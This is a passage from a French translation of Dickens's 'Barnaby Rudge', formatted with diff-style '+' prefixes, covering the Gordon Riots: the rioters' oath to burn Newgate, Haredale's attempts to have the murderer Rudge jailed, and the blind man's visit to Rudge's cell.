+M. Dennis lui-même, qui n'était pas très sensible à l'endroit de
+la dignité personnelle et de la gravité, et qui avait de plus un
+extrême plaisir à voir les excès d'humeur bouffonne de son jeune
+ami, crut devoir lui faire des remontrances sur l'imprudence d'une
+telle conduite, qu'il considérait comme une espèce de suicide; or
+le suicide étant une anticipation volontaire sur l'action de la
+loi par la main du bourreau, il ne trouvait rien de plus sot ni de
+plus ridicule.
+
+En dépit de ces remontrances, Hugh, sans rabattre un iota de son
+humeur folâtre et bruyante, s'en allait se balançant entre eux
+deux, en leur donnant le bras, jusqu'au moment où ils se
+trouvèrent en vue de _la Botte_, à quelque cent pas de cette
+honnête taverne. Heureusement pour eux qu'il avait cessé de rire
+avec sa grosse voix en approchant du but de leur course. Ils
+continuaient donc leur marche sans bruit, lorsqu'ils virent sortir
+avec précaution de sa cachette un ami qu'on avait chargé de faire
+le guet toute la nuit dans les fossés du voisinage pour avertir
+les traînards qu'il y avait du danger à venir se faire prendre
+dans cette souricière: «Arrêtez, leur cria-t-il.
+
+-- Arrêtez! et pourquoi? dit Hugh.
+
+-- Parce que la maison est pleine de constables et de soldats,
+depuis qu'elle a été envahie hier au soir. Les habitants sont en
+fuite ou en prison, je ne sais pas lequel des deux. J'ai déjà
+empêché bien des gens de venir s'y faire prendre, et je crois
+qu'ils sont allés dans les marchés et les places pour y passer la
+nuit. J'ai vu de loin la lueur des incendies, mais ils sont
+éteints maintenant. D'après tout ce que j'ai entendu dire aux gens
+qui passaient et repassaient, ils ne sont pas tranquilles et se
+montrent inquiets. Quant à Barnabé, dont vous me demandez des
+nouvelles, je n'en ai pas entendu parler; je ne le connais pas
+même de nom, mais, par exemple, il paraît qu'on a pris ici un
+homme qu'on a emmené à Newgate. Est-ce vrai, est-ce faux? je ne
+saurais l'affirmer.»
+
+Le trio d'amis, à cette nouvelle, délibéra sur ce qu'ils devaient
+faire. Hugh, supposant que Barnabé pouvait bien être entre les
+mains des soldats, et détenu en ce moment sous leur garde à
+l'auberge de _la Botte_, voulait qu'on s'avançât furtivement et
+qu'on mît le feu à la maison; mais ses compagnons, qui n'avaient
+pas envie de se lancer dans ces entreprises téméraires tant qu'ils
+n'avaient pas un peuple d'insurgés derrière eux, lui
+représentèrent que, s'il était vrai qu'ils eussent attrapé
+Barnabé, ils n'avaient pas manqué de le faire passer dans une
+prison plus sûre; qu'ils n'auraient pas été assez simples pour le
+garder toute la nuit dans un lieu si faible et si isolé. Cédant à
+ces raisons et docile à leurs conseils, Hugh consentit à revenir
+sur ses pas et à prendre le chemin de Fleet-Market, où ils
+retrouveraient, selon toute apparence, quelques-uns de leurs plus
+intrépides camarades, qui s'étaient dirigés de ce côté-là en
+recevant le même avis.
+
+La nécessité d'agir leur rendit une force nouvelle et rafraîchit
+leur ardeur; ils pressèrent donc le pas sans songer à la fatigue
+qui les accablait cinq minutes auparavant, et furent bientôt
+arrivés à destination.
+
+Fleet-Market, à cette époque, était une longue file irrégulière de
+hangars et d'appentis en bois qui occupaient le centre de ce qu'on
+appelle aujourd'hui Farringdon-Street. Ces constructions
+grossières, adossées malproprement l'une à l'autre, empiétaient
+jusque sur le milieu de la route, au risque d'encombrer la
+chaussée et de gêner les passants, qui se dépêchaient de se tirer
+de là comme ils pouvaient, à travers les charrettes, les paniers,
+les brouettes, les diables, les tonneaux, les bancs et les bornes,
+coudoyés par les portefaix, les marchands ambulants, les
+charretiers, par la foule bigarrée d'acheteurs, de vendeurs, de
+voleurs, de coureurs, de flâneurs. L'air était parfumé de la
+puanteur des herbes pourries et des fruits moisis, des rebuts de
+la boucherie, des boyaux et des tripailles jetés sur le chemin. On
+croyait alors qu'il fallait acheter par ces incommodités publiques
+l'avantage d'avoir dans les villes certains commerces utiles, et
+Fleet-Market exagérait encore la chose.
+
+C'est en cet endroit, peut-être parce que ses hangars et ses
+paniers pouvaient remplacer passablement un lit pour ceux qui n'en
+avaient pas, peut-être aussi parce qu'il offrait les moyens de
+faire, en cas de besoin, des barricades improvisées, que les
+émeutiers étaient venus en nombre, non seulement cette nuit-là,
+mais depuis déjà deux ou trois nuits. Il faisait alors grand jour;
+mais, comme la matinée était fraîche, il y avait un groupe de ces
+vagabonds autour de l'âtre du cabaret, buvant des grogs bouillants
+d'absinthe, fumant leur pipe et concertant de nouvelles
+expéditions pour le lendemain. Comme Hugh et ses deux amis étaient
+bien connus de la plupart de ces buveurs, ils furent reçus avec
+des marques d'approbation distinguées, et on leur laissa la place
+d'honneur pour s'asseoir. La chambre fut fermée et barricadée pour
+éloigner les fâcheux, et on commença à sa communiquer les
+nouvelles qu'on pouvait avoir.
+
+«Il parait, dit Hugh, que les soldats ont pris possession de _la
+Botte_. Y a-t-il quelqu'un ici qui puisse nous dire ce qui en est?
+
+-- Certainement,» s'écrièrent ensemble plusieurs voix. Mais, comme
+la plupart de ceux qui étaient là avaient pris part à l'assaut de
+la Garenne, et que le reste avait fait partie de quelque autre
+expédition nocturne, il se trouva que personne n'en savait là-
+dessus plus que Hugh lui-même. Ils avaient tous été avertis l'un
+par l'autre, ou par l'ami caché sur la route, mais ils ne savaient
+rien personnellement.
+
+«C'est que, dit Hugh, nous avons laissé là hier en faction un
+homme qui n'y est plus. Vous savez bien qui je veux dire...
+Barnabé, celui qui a renversé le cavalier à Westminster. Y a-t-il
+quelqu'un qui l'ait revu ou qui ait entendu parler de lui?»
+
+Ils secouaient la tête et murmuraient tous que non, en se
+regardant à la ronde pour se questionner les uns les autres, quand
+on entendit du bruit à la porte: c'était un homme qui demandait à
+parler à Hugh... il fallait absolument qu'il vit Hugh.
+
+«Ce n'est qu'un homme seul? cria Hugh à ceux qui gardaient la
+porte; laissez-le entrer.
+
+-- Oui, oui, répétèrent les autres; qu'il entre, qu'il entre.» En
+conséquence on débarre la porte; elle s'ouvre, et l'on voit
+paraître un manchot, la tête et la figure enveloppées d'un linge
+sanglant, comme un homme qui a reçu de sérieuses blessures. Ses
+habits étaient déchirés, et sa main unique pressait un bon
+gourdin. Il se précipite au milieu d'eux tout haletant, demandant
+après Hugh.
+
+«Présent! lui répondit celui à qui il s'était adressé; c'est moi
+qui suis Hugh. Qu'est-ce que vous me voulez?
+
+-- J'ai une commission pour vous, dit l'homme. Vous connaissez un
+certain Barnabé?
+
+-- Qu'est-ce qu'il est devenu? Est-ce de sa part que vous venez?
+
+-- Oui, il est arrêté. Il est dans un des plus forts cachots de
+Newgate. Il s'est défendu de son mieux, mais il a été accablé par
+le nombre. Voilà ma commission faite.
+
+-- Quand donc l'avez-vous vu? demanda Hugh avec empressement.
+
+-- Pendant qu'on l'emmenait en prison sous escorte nombreuse, ils
+ont pris une rue détournée où nous avions cru qu'ils ne
+passeraient pas. J'étais un de ceux qui ont essayé de le délivrer.
+Il m'a chargé de vous dire où il était. Nous n'avons pas réussi;
+mais c'est égal, l'affaire a été chaude: regardez plutôt.»
+
+Il montrait du doigt ses habits et le bandeau sanglant qui
+ceignait sa tête: il paraissait encore tout essoufflé de sa
+course, en regardant la compagnie à la ronde. Enfin, se retournant
+de nouveau vers Hugh:
+
+«Je vous connaissais bien de vue, dit-il, car j'étais des vôtres
+vendredi, samedi et hier, mais je ne savais pas votre nom. Je vous
+reconnais maintenant. Vous êtes un fameux gaillard, et lui aussi.
+Il s'est battu le soir comme un lion, quoique ça ne lui ait pas
+servi à grand'chose. Moi aussi, j'ai fait de mon mieux, surtout
+pour un manchot.»
+
+Il jeta de nouveau un regard curieux autour de la chambre: du
+moins il en eut l'air, car il était difficile de distinguer ses
+traits sous le bandeau qui lui couvrait le visage; puis, regardant
+encore fixement du côté de Hugh, il empoigna son bâton, comme s'il
+s'attendait à une attaque et qu'il se mît sur la défensive.
+
+Au reste, s'il en eut un moment la peur, elle ne dura pas
+longtemps, en présence de la tranquillité de tous les assistants.
+Personne ne songea plus à s'occuper du porteur de nouvelles; tous
+s'occupèrent des nouvelles elles-mêmes. On n'entendait de tous
+côtés que des jurons, des menaces, des malédictions. Les uns
+criaient que, si on souffrait ça, ce serait bientôt leur tour à se
+voir tous emmenés à la geôle; les autres, que c'était bien fait,
+que, s'ils avaient délivré d'abord les autres prisonniers, cela ne
+serait pas arrivé. Un homme se mit à crier de toutes ses forces:
+«Qui est-ce qui veut me suivre à Newgate?» Tout le monde lui
+répondit par une acclamation bruyante, en se précipitant vers la
+porte.
+
+Mais Hugh et Dennis s'adossèrent contre elle pour les empêcher de
+sortir, attendant que la clameur confuse de leurs voix se fût
+apaisée et permît de faire entendre des observations raisonnables.
+Ils leur représentèrent que de vouloir s'en aller faire ce beau
+coup en plein jour à présent, ce serait un trait de folie; tandis
+que, s'ils attendaient la nuit, et qu'ils combinassent auparavant
+un plan d'attaque, non seulement ils pourraient reprendre tous
+leurs camarades, mais encore délivrer les prisonniers, et mettre
+le feu à la prison pardessus le marché.
+
+«Et encore pas à la prison de Newgate seule, leur cria Hugh, mais
+à toutes les prisons de Londres, pour qu'ils n'aient plus
+d'endroits où mettre les prisonniers qu'ils pourraient nous faire.
+Nous les brûlerons toutes, nous en ferons des feux de joie. Tenez,
+dit-il en saisissant la main du bourreau, s'il y a des hommes ici,
+qu'ils viennent croiser leurs mains avec les nôtres, en gage
+d'alliance. Barnabé en liberté, et à bas les prisons! Qui est-ce
+qui le jure avec nous?»
+
+Tous, jusqu'au dernier, vinrent tendre leurs mains. Tous jurèrent
+avec des serments effroyables d'arracher, la nuit suivante, leurs
+amis, à Newgate, d'enfoncer les portes, de mettre le feu à la
+geôle, ou de périr eux-mêmes dans les flammes.
+
+
+
+
+CHAPITRE XIX.
+
+
+Cette nuit-là même, car il y a des temps de bouleversement et de
+désordre où vingt-quatre heures suffisent pour embrasser plus
+d'événements émouvants qu'une vie tout entière, cette nuit-là même
+M. Haredale, ayant garrotté son prisonnier, avec l'aide du petit
+sacristain, le força à monter sur son cheval jusqu'à Chigwell,
+afin de s'y procurer un moyen de transport pour l'emmener à
+Londres devant un juge de paix. Il ne doutait pas qu'en
+considération des troubles dont la ville était le théâtre, il
+n'obtint aisément de le faire mettre en prison provisoirement
+jusqu'au point du jour, car il n'y aurait pas eu de sécurité à le
+déposer au corps de garde ou au violon. Et, quant à conduire un
+prisonnier par les rues, lorsque l'émeute en était maîtresse, ce
+ne serait pas seulement une témérité puérile, ce serait un défi
+imprudent jeté à la populace. Laissant au sacristain le soin de
+conduire son cheval par la bride, il ne quittait pas l'assassin,
+et c'est dans cet ordre qu'ils traversèrent le village au beau
+milieu de la nuit.
+
+Tout le monde y était encore sur pied, car chacun avait peur de se
+voir incendier dans son lit, et cherchait à se réconforter par la
+compagnie de quelques autres, en veillant en commun. Quelques-uns
+des plus braves s'étaient armés et réunis ensemble sur la pelouse.
+C'est à eux que M. Haredale, qui leur était bien connu, s'adressa
+d'abord, leur exposant en deux mots ce qui était arrivé, et les
+priant de l'aider à transporter à Londres le criminel avant le
+point du jour.
+
+Mais il n'y avait pas de danger qu'il s'en trouvât un qui eût le
+courage de l'aider seulement du bout du doigt. Les émeutiers, en
+passant par le village, avaient menacé de leurs vengeances les
+plus atroces quiconque lui porterait secours pour éteindre le feu
+et lui rendrait le moindre service, aussi bien qu'à tout autre
+catholique. Ils étaient allés jusqu'à les menacer dans leur vie et
+leurs propriétés. S'ils s'étaient rassemblés, c'était pour veiller
+à leur propre conservation, mais ils n'avaient pas envie de se
+risquer à lui prêter main-forte. C'est ce qu'ils lui déclarèrent,
+avec quelque hésitation accompagnée de l'expression de leurs
+regrets, en se tenant à l'écart au clair de la lune, et en jetant
+de côté un regard craintif sur le lugubre cavalier, qui se tenait
+là, la tête penchée sur sa poitrine et son chapeau rabattu sur ses
+yeux, sans remuer et sans dire un mot.
+
+Voyant qu'il était impossible de leur faire entendre raison, et
+désespérant de les convaincre après les exemples qu'ils avaient
+vus des furieuses vengeances de la multitude, M. Haredale les pria
+au moins de le laisser agir lui-même librement et prendre la seule
+chaise de poste et la seule paire de chevaux qui se trouvassent
+dans le bourg à sa disposition. Ce ne fut pas sans difficulté
+qu'ils y consentirent: pourtant ils finirent par lui dire de faire
+ce qu'il voudrait, pourvu qu'il les quittât le plus promptement
+possible, au nom du bon Dieu.
+
+Laissant le sacristain à la tête du cheval, il sortit la chaise en
+la faisant rouler de ses propres mains, et il allait mettre aux
+chevaux les harnais, lorsque le postillon du village, une espèce
+de vaurien et de vagabond, mais qui n'avait pas mauvais coeur, en
+voyant la peine qu'il se donnait, jeta là la fourche dont il était
+armé, en jurant que les émeutiers le couperaient s'ils voulaient
+menu, menu comme chair à pâté, mais qu'il ne resterait pas là, les
+bras croisés, à voir un honnête gentleman, qui ne leur avait pas
+fait de mal, réduit à une telle extrémité, sans lui prêter son
+assistance. M. Haredale lui donna une cordiale poignée de main, et
+le remercia de tout son coeur; au bout de cinq minutes, la chaise
+était prête et le bon drille sur sa selle. On mit l'assassin dans
+l'intérieur: on baissa les stores, le sacristain s'assit sur le
+brancard; M. Haredale monta sur son cheval et ne quitta pas la
+portière. Les voilà partis, au fort de la nuit et dans le plus
+profond silence, sur la route de Londres.
+
+Telle était la terreur générale dans le pays, que les chevaux
+mêmes de la Garenne qui avaient échappé aux flammes n'avaient pu
+trouver d'abri nulle part. Les voyageurs passèrent devant eux sur
+la route, pendant qu'ils étaient à brouter un maigre gazon; et le
+conducteur leur dit que les pauvres bêtes avaient commencé par
+venir errer dans le village, mais qu'on les en avait chassées pour
+ne point attirer sur les habitants la colère et la vengeance des
+ennemis de M. Haredale.
+
+Et il ne faut pas croire que ce sentiment de lâche frayeur fût
+borné à de petits endroits comme celui-là, où les gens étaient
+timides, ignorants et sans secours. Quand ils approchèrent de
+Londres, ils rencontrèrent, au faible crépuscule du matin, de
+pauvres familles catholiques qui, sous l'influence des menaces
+effrayantes et des avertissements répétés de leurs voisins,
+quittaient la ville à pied, faute, disaient-elles, d'avoir pu
+trouver à louer ni charrette ni chevaux pour déménager leurs
+effets, qu'elles avaient été obligées de laisser derrière elles à
+la merci de la populace. Près de Mile-End ils passèrent devant une
+maison dont le locataire, un gentleman catholique d'une fortune
+modique, après avoir loué un chariot pour le déménager à minuit
+avait fait descendre, en attendant, son mobilier dans la rue, --
+afin de charger sans perdre de temps. Mais l'homme avec lequel il
+avait fait ses conventions, alarmé par les incendies de cette
+nuit, et par la vue des émeutiers, qui avaient passé devant sa
+porte, avait refusé de tenir sa parole; de manière que le pauvre
+gentleman, avec sa femme, quatre domestiques et leurs petits
+enfants, étaient assis, grelottants sur leurs paquets, à la belle
+étoile, redoutant la venue du jour et ne sachant comment faire
+pour se tirer de là.
+
+On leur dit qu'il en était de même avec les voitures publiques. La
+panique était si grande, que les malles et les diligences avaient
+peur de transporter des voyageurs de la religion attaquée. Quand
+les conducteurs les connaissaient pour des catholiques, ou
+obtenaient d'eux l'aveu qu'ils appartenaient à cette croyance, ils
+ne voulaient pas les prendre, même pour de grosses sommes
+d'argent. La veille même, il y avait des gens qui évitaient de
+reconnaître, en passant dans les rues, des catholiques de leur
+connaissance, de peur qu'il n'y eût là des espions apostés qui
+pourraient les dénoncer et les brûler, comme ils disaient, c'est-
+à-dire mettre le feu à leur maison. Un bon vieillard, un prêtre,
+dont on avait détruit la chapelle, un pauvre homme, faible,
+patient, inoffensif, qui s'en allait tout seul à pied sur la
+route, dans l'espérance de rencontrer plus loin quelque diligence
+qui voulût bien le prendre, dit à M. Haredale qu'il serait bien
+heureux s'il trouvait un magistrat assez hardi pour se charger,
+sur sa plainte, de faire mettre son prisonnier en état
+d'arrestation. Malgré tous ces récits décourageants, ils
+continuèrent de se diriger vers Londres, et, au lever du soleil,
+ils étaient devant Mansion-House.
+
+M. Haredale se jeta à bas de cheval; mais il n'eut pas besoin de
+frapper à la porte, car elle était déjà ouverte, et sur le seuil
+se tenait un vieux gentleman de bonne mine, rouge ou plutôt
+pourpre de figure, dont la physionomie animée montrait qu'il
+faisait des représentations à quelque autre personne placée en
+haut de l'escalier, pendant que le portier essayait, petit à
+petit, de se débarrasser de lui et de lui fermer la porte sur le
+nez. Avec l'impatience et l'excitation naturelles à son caractère
+et à sa position, M. Haredale s'avança de son côté pour prendre la
+parole, quand le gros monsieur lui dit:
+
+«Mon bon monsieur, laissez-moi, je vous prie, obtenir d'abord une
+réponse. Voici la sixième fois que je viens ici. Hier seulement,
+je suis venu cinq fois. On menace de détruire ma maison. Ils
+doivent venir la brûler ce soir. C'était déjà leur projet hier;
+mais ils ont eu de l'occupation ailleurs. Laissez-moi, je vous
+prie, obtenir une réponse.
+
+-- Mon bon monsieur, répondit M. Haredale en secouant la tête, ma
+maison a été brûlée de fond en comble. Mais, à Dieu ne plaise que
+la vôtre soit incendiée de même! Obtenez votre réponse; seulement,
+de grâce, tâchez que ce ne soit pas long.
+
+-- Eh bien! milord, vous entendez? dit le vieux gentleman à
+quelqu'un qui se trouvait en haut de l'escalier, où l'on voyait
+voltiger sur le palier le pan d'une robe de magistrat. Voici un
+gentleman dont la maison a été effectivement réduite en cendres
+cette nuit.
+
+-- Mon Dieu! mon Dieu! répliqua une voix bourrue. J'en suis bien
+fâché, mais qu'est-ce que vous voulez que j'y fasse? Je ne peux
+pas la rebâtir, si elle est démolie. Le chef de la justice de la
+Cité ne peut pas être occupé à rebâtir les maisons qu'on démolit,
+mon bon monsieur; vous sentez que c'est ridicule.
+
+-- Mais il me semble que le chef de la magistrature de la Cité
+pourrait empêcher les gens d'avoir besoin qu'on rebâtisse leurs
+maisons, si le chef de la magistrature est un homme et non pas une
+momie... qu'en dites-vous, milord? cria le vieux gentleman en
+colère.
+
+-- Vous devriez être plus respectable, monsieur, dit le lord-
+maire, du moins plus respectueux, voulais-je dire.
+
+-- Plus respectueux, milord! répondit le vieux gentleman. J'ai été
+cinq fois assez respectueux comme cela hier. Le respect est une
+bonne chose, mais il ne faut pas en abuser. On ne peut pas
+toujours être à faire du respect, quand on sait qu'on va avoir sa
+maison brûlée sur sa tête, avec tout ce qu'il y a dedans. Dites-
+moi ce qu'il faut que je fasse, milord. Voulez-vous, oui ou non,
+me donner protection?
+
+-- Je vous ai déjà dit hier, monsieur, dit le lord-maire, qu'on
+pourra vous donner un alderman chez vous, si vous en voulez un.
+
+-- Et que diable voulez-vous que je fasse d'un alderman? répliqua
+le vieux gentleman toujours courroucé.
+
+-- Pour intimider la foule, monsieur, dit le lord-maire.
+
+-- Est-il Dieu possible! repartit d'un ton désolé le vieux
+gentleman, en essuyant son front, dans un état d'impatience
+risible; songer à m'envoyer un alderman pour intimider la foule!
+Mais, milord, quand tous ces gens-là seraient des poupons à la
+mamelle, quelle peur voulez-vous qu'ils aient d'un alderman?
+Viendrez-vous vous-même?
+
+-- Moi? dit le lord-maire avec énergie; certainement non.
+
+-- Eh bien! alors, qu'est-ce qu'il faut que je fasse? Ne suis-je
+pas citoyen anglais? Ne dois-je pas jouir du bénéfice des lois de
+mon pays? Ne me doit-on pas protection pour la taxe que je paye au
+roi?
+
+-- Ma foi! je ne sais pas. Quel dommage que vous soyez catholique!
+Pourquoi n'êtes-vous pas protestant? Vous ne seriez pas compromis
+dans tout ce gâchis... Il y a de grands personnages au fond de
+tous ces troubles... Mon Dieu! mon Dieu! quel ennui que d'être un
+homme public! Repassez dans la journée. Voulez-vous que je vous
+donne un porte-javeline[5]? Ou bien, tenez, je peux disposer du
+constable Philips... celui-là est libre aujourd'hui. Il n'est pas
+encore trop vieux pour son âge; il n'y a que les jambes qui ne
+sont pas solides; mais, en le mettant à une fenêtre, le soir, à la
+chandelle, il aurait encore l'air assez jeune, et il leur ferait
+une peur du diable... Mon Dieu! mon Dieu! eh bien, nous verrons
+ça.
+
+-- Arrêtez! cria M. Haredale en poussant la porte que le concierge
+voulait fermer violemment, et en parlant d'un ton animé; milord
+maire, ne vous en allez pas, s'il vous plaît. J'ai là un homme qui
+a commis un assassinat, il y a vingt-huit ans. Je n'ai qu'un mot à
+vous dire et à prêter serment devant vous, pour vous mettre à même
+de le faire mettre en prison en attendant l'instruction. Je ne
+vous demande, pour le moment, que de le mettre en lieu sûr. Le
+moindre retard peut le faire tomber entre les mains des émeutiers.
+
+-- Ah! mon Dieu! mon Dieu! cria le lord-maire, qu'est-ce que je
+vais devenir? Dieu du ciel... il y a de grands personnages au fond
+de tous ces troubles, vous savez... vraiment, je ne peux pas.
+
+-- Milord, dit M. Haredale, la victime était mon propre frère. Je
+lui ai succédé dans ses biens: il n'a pas manqué de langues
+traîtresses dans le temps pour faire circuler tout bas le bruit
+que j'étais pour quelque chose dans cet horrible assassinat; oui,
+moi, moi qui l'aimais, Dieu le sait, si tendrement! Enfin, voici
+le moment venu, après tant d'années d'angoisse et de misères, de
+le venger, et de mettre au jour un crime si artificieux et si
+diabolique qu'il n'a pas son pareil. Chaque minute de retard de
+votre part peut délier les mains sanglantes de ce misérable, et le
+faire échapper à la justice. Milord, je vous somme de m'entendre,
+et d'expédier cette affaire sur-le-champ.
+
+-- Mon Dieu! mon Dieu! cria le chef de la magistrature, mais vous
+savez bien que ce n'est pas l'heure de mes séances... je ne vous
+comprends pas d'agir avec cette insistance indiscrète... vous ne
+devez pas... réellement vous ne devez pas... et encore je
+parierais que, vous aussi, vous êtes catholique?
+
+-- C'est vrai, dit M. Haredale.
+
+-- Dieu du ciel! je crois que tout le monde se fait catholique
+exprès pour m'ennuyer et me tourmenter. Vous aviez bien besoin de
+venir ici: ils vont venir, à leur tour, mettre le feu, c'est sûr,
+à Mansion-House, et c'est à vous que nous en aurons l'obligation.
+Faites enfermer votre prisonnier, monsieur, donnez-lui un
+gardien... et... et... repassez à l'heure des séances... alors
+nous verrons.»
+
+Avant que M. Haredale eût seulement le temps de répliquer, le
+bruit d'une porte qui se ferma et des verrous qu'on tira en dedans
+lui annonça que le lord-maire venait de faire retraite dans sa
+chambre à coucher, et que toute réclamation serait désormais
+inutile. Les deux clients déconfits se retirèrent ensemble, et le
+concierge ferma la porte derrière eux.
+
+«Et voilà comme il me congédie! reprit le vieux gentleman, sans
+que je puisse obtenir de lui aide ni justice Qu'est-ce que vous
+allez faire, monsieur?
+
+-- Je vais essayer d'autre chose, répondît M. Haredale, qui était
+déjà remonté sur son cheval.
+
+-- Je vous assure que je vous plains, et d'autant plus que nous
+sommes tous les deux dans le même cas. Je ne suis pas sûr d'avoir
+ce soir une maison à vous offrir: laissez-moi vous l'offrir, au
+moins, pendant qu'elle est encore debout. Pourtant, en y
+réfléchissant, ajouta le vieux gentleman en remettant dans sa
+poche son portefeuille qu'il avait déjà tiré, je ne veux pas vous
+donner ma carte: car, si on la trouvait sur vous, cela pourrait
+vous mettre encore dans l'embarras. Je m'appelle Langdale; je suis
+marchand de vin distillateur; je demeure à Holborn-Hill. Si vous
+venez me voir, vous serez là bienvenu.»
+
+M. Haredale s'inclina et piqua des deux, tout près de la chaise,
+comme auparavant, pour se rendre chez sir John Fielding, qui
+passait pour un magistrat actif et résolu; il était d'ailleurs
+déterminé, si les émeutiers venaient à l'attaquer, à exécuter lui-
+même l'assassin de ses propres mains, plutôt que de le laisser
+échapper.
+
+Ils arrivèrent cependant à la demeure du magistrat, sans encombre:
+car l'émeute, comme nous l'avons vu, était occupée à concerter des
+plans plus profonds, et il frappa à la porte. Comme le bruit
+s'était généralement répandu que sir John avait été mis au ban par
+les émeutiers, sa maison avait été gardée toute la nuit par des
+agents de la police. L'un d'eux, sur la déclaration de
+M. Haredale, jugeant l'affaire assez importante pour l'introduire
+devant le magistrat, lui procura sur-le-champ une audience.
+
+On ne perdit pas de temps pour délivrer un mandat d'arrêt, afin de
+mettre l'assassin à Newgate, bâtiment neuf qui venait d'être
+récemment achevé à grands frais, et que l'on considérait comme une
+prison d'une force respectable. Quand on eut le mandat, trois
+agents de police garrottèrent l'accusé de nouveau: car, dans les
+efforts qu'il avait faits en se débattant en voiture, il s'était
+dégagé de ses menottes. Ils le bâillonnèrent pour qu'il ne pût pas
+appeler à son secours, dans le cas où l'on aurait à traverser
+quelque rassemblement, et prirent place dans la chaise, à côté de
+lui. Ils étaient bien armés et formaient une escorte formidable:
+cependant ils prirent encore la précaution de baisser les stores
+pour faire croire qu'il n'y avait personne dans la voiture, et
+recommandèrent à M. Haredale de prendre les devants pour ne pas
+attirer l'attention en ayant l'air d'être avec eux.
+
+On eut bientôt lieu de s'applaudir de ces mesures de prudence:
+car, en prenant rapidement le chemin de la Cité, ils eurent à
+traverser quelques groupes qui, sans aucun doute, auraient arrêté
+la chaise, s'ils avaient pu se douter qu'il y eût quelqu'un
+dedans. Mais les gens qui se trouvaient à l'intérieur se tenant
+cois, et le cocher ne s'amusant pas à provoquer des questions, ils
+arrivèrent bientôt à la prison, et, une fois là, ils firent sortir
+l'homme et le coffrèrent, en un clin d'oeil, dans la lugubre
+enceinte de Newgate.
+
+Les yeux ardents de M. Haredale le suivirent avec attention,
+jusqu'à ce qu'il l'eut vu enchaîné, et bien barricadé dans son
+cachot. Bien plus, il avait déjà quitté la prison, et se trouvait
+dans la rue, qu'il passait encore les mains sur les plaques de fer
+de la porte, et tâtait la pierre de ces fortes murailles, comme
+pour s'assurer que ce n'était pas un songe, et pour se féliciter
+de voir que tout cela était si solide, si impénétrable, si froid.
+Ce ne fut qu'après avoir perdu de vue la prison et regardé les
+rues encore vides, sans mouvement et sans vie, à cette heure
+matinale, qu'il sentit de nouveau le poids qu'il avait sur le
+coeur; qu'il retrouva ses angoisses et ses tortures pour les
+malheureuses femmes qu'il avait laissées chez lui, quand il avait
+un chez lui: car sa maison détruite n'était plus elle-même qu'un
+des grains du long rosaire de ses regrets.
+
+
+
+
+CHAPITRE XX.
+
+
+Le prisonnier, laissé à lui-même, s'assit sur son grabat, et, les
+coudes sur ses genoux, son menton dans ses mains, resta plusieurs
+heures de suite dans cette attitude. Il serait difficile de dire
+quelle était, pendant ce temps, la nature de ses réflexions. Elles
+n'étaient point distinctes; et, sauf quelques éclairs de temps en
+temps, elles n'avaient pas trait à sa condition présente, ni à la
+suite de circonstances qui l'avait amené là. Les craquelures des
+dalles de son cachot, les rainures qui séparaient les pierres de
+taille dont se composait la muraille, les barreaux de sa fenêtre,
+l'anneau de fer rivé dans le parquet... tout cela se confondait à
+sa vue d'une manière étrange, et lui créait un genre inexplicable
+d'amusement et d'intérêt qui l'absorbait tout entier. Et, quoique
+au fond de chacune de ses pensées il y eût un sentiment pénible de
+son crime et une crainte constante de la mort, ce n'était que la
+douleur vague qu'éprouve le malade dans son sommeil, lorsque son
+mal le poursuit au milieu même de ses songes, lui ronge le coeur
+au sein de ses plaisirs imaginaires, lui gâte les meilleurs
+banquets, prive de toute sa douceur la musique la plus suave,
+empoisonne son bonheur même, sans être cependant une sensation
+palpable et corporelle; fantôme sans nom, sans forme, sans
+présence visible; corrompant tout sans avoir d'existence réelle;
+se manifestant partout, sans pouvoir être perçu, saisi, touché
+nulle part, jusqu'à l'heure où le sommeil s'en va et laisse la
+place à l'agonie qui s'éveille.
+
+Longtemps après, la porte de son cachot s'ouvrit. Il leva les
+yeux, vit entrer l'aveugle, et retomba dans sa première attitude.
+
+Guidé par le souffle de sa respiration, le visiteur s'avança vers
+son lit, s'arrêta près de lui, et, étendant la main pour s'assurer
+qu'il ne se trompait pas, resta longtemps silencieux.
+
+«Ce n'est pas bien, Rudge. Ce n'est pas bien,» finit-il par dire.
+
+Le prisonnier trépigna du pied en se détournant de lui, sans rien
+répondre.
+
+«Comment donc vous êtes-vous laissé prendre? demanda-t-il, et où
+cela? Vous ne m'avez jamais confié tout votre secret. N'importe,
+je le sais maintenant. Eh bien! lui demanda-t-il encore en se
+rapprochant de lui, comment cela est-il arrivé et dans quel
+endroit?
+
+-- À Chigwell, dit l'autre.
+
+-- À Chigwell? pour quoi faire alliez-vous là?
+
+-- Parce que, répondit-il, je voulais justement visiter l'homme
+sur lequel je suis tombé; parce que j'y étais entraîné par lui et
+par le Destin; parce que j'y étais poussé par quelque chose de
+plus fort que ma volonté. Quand je l'ai vu veiller dans la maison
+où elle demeurait, tant de nuits de suite, j'ai reconnu sur-le-
+champ que je ne pourrais jamais lui échapper... jamais! et quand
+j'ai entendu la cloche...»
+
+Il frissonna; il marmotta entre ses dents qu'il faisait un froid
+glacé; il se promena à grands pas de long en large dans son étroit
+cachot, se rassit, et reprit son ancienne posture.
+
+«Vous disiez donc, reprit l'aveugle après quelque temps de
+silence, que, lorsque vous avez entendu la cloche...
+
+-- Laissez la cloche tranquille, voulez-vous? répliqua l'autre
+d'une voix précipitée. Il me semble l'entendre encore.»
+
+L'aveugle tourna vers lui sa figure attentive et curieuse, pendant
+que l'autre, sans y faire attention, continua de parler.
+
+«J'étais allé à Chigwell pour y trouver l'émeute. J'avais été
+tellement traqué et poursuivi par cet homme, que je n'espérais
+plus de salut qu'en me cachant dans la foule. Ils étaient déjà
+partis; je me suis mis à les suivre, quand elle a cessé...
+
+-- Quand elle a cessé? qui donc?
+
+-- La cloche. Ils avaient quitté la place. J'espérais trouver
+encore quelque traînard attardé là, et j'étais à chercher dans les
+ruines, quand j'entendis... (Il tira péniblement son souffle de sa
+poitrine et passa sa manche sur son front)... quand j'entendis sa
+voix.
+
+-- Qu'est-ce qu'elle disait?
+
+-- N'importe: je ne sais pas; j'étais alors au pied de la tour où
+j'ai commis le...
+
+-- Oui, dit l'aveugle en agitant la tête avec un calme parfait...
+je comprends.
+
+-- Je grimpai l'escalier, ou du moins ce qu'il en restait, dans
+l'intention de me cacher jusqu'à son départ; mais il m'entendit et
+me suivit au moment même où je mettais le pied sur les cendres
+encore chaudes.
+
+-- Vous auriez dû vous cacher contre le mur, ou jeter l'homme en
+bas, ou le poignarder, dit l'aveugle.
+
+-- Vous croyez ça; vous ne savez donc pas qu'entre cet homme et
+moi il y en avait un autre qui le guidait (je le voyais, moi, s'il
